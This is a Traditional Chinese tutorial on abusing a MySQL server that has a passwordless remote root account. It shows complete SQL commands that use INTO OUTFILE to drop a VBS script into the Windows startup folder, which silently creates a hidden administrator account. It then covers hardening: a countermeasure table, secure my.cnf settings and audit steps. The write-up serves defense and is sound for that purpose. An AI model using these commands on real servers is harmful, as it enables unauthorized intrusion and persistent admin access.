⚠️ 僅供安全研究與防禦加固參考,嚴禁用於非授權滲透測試。
場景:目標 MySQL 開放遠程連線(3306)、root 帳號**無密碼**、且擁有 FILE 權限(預設 root 擁有)。攻擊者可透過 SELECT ... INTO OUTFILE 向啟動資料夾寫入 VBS 腳本,下次系統啟動/用戶登入時自動執行,建立管理員帳號,實現提權持久化。
mysql -u root -h 192.168.0.1(無密碼直接進入)。USE test; CREATE TABLE a (cmd TEXT);INSERT INTO a VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a = wshShell.Run("cmd.exe /c net user zjl317 zjl317 /add", 0)');
INSERT INTO a VALUES ('b = wshShell.Run("cmd.exe /c net localgroup administrators zjl317 /add", 0)');
• 0 參數 = 隱藏視窗執行(無 DOS 黑框閃現)。
• 雙引號轉義:SQL 字串中雙引號用 "" 表示。
SELECT * FROM a; 確認三行指令無誤。SELECT * FROM a
INTO OUTFILE 'C:\\Documents and Settings\\All Users\\「開始」菜單\\程式\\啟動\\a.vbs'
CHARACTER SET utf8;
• 路徑需用雙反斜線 \\ 轉義。
• 中文路徑視系統語言調整(XP/2003 常見路徑)。
zjl317/zjl317。| 條件 | 說明 | 防禦對策 |
|---|---|---|
| root 空密碼 | 安裝預設即為空,極常見 | 安裝後立即設強密碼,mysql_secure_installation |
| 遠程連線開放 | 預設 bind-address=0.0.0.0 或防火牆放行 3306 | bind-address=127.0.0.1、防火牆僅信任應用伺服器 IP |
| FILE 權限 | root 預設擁有,GRANT FILE ON *.* | 應用帳號**嚴禁** FILE,root 僅本地連線 |
| INTO OUTFILE 寫檔 | 需目標目錄寫入權限、secure_file_priv 未限制 | secure_file_priv=/var/lib/mysql-files/ 限制導出目錄 |
| 啟動資料夾寫入 | Windows 特性,All Users 啟動需管理員權限 | 資料夾 ACL 鎖定、啟動項監控 (Sysinternals Autoruns) |
[mysqld]
# 限制 LOAD DATA / SELECT INTO OUTFILE 只能在指定目錄
secure_file_priv = /var/lib/mysql-files/
# 禁止符號連結(防止繞過目錄限制)
symbolic-links = 0
# 本地僅監聽(無業務需求勿開放遠程)
bind-address = 127.0.0.1
# 強制 SSL 傳輸(5.7+)
require_secure_transport = ON
INTO OUTFILE、CREATE TABLE、INSERT 異常操作。mysql_secure_installation 完成:設 root 密碼、移除匿名帳號、禁止 root 遠程、移除 test 庫、重載權限。本文旨在揭示**配置不當導致的嚴重後果**,指導管理員完成最小權限、網路隔離、審計監控等加固措施。任何未經授權對他人系統實施上述操作均屬違法,後果自負。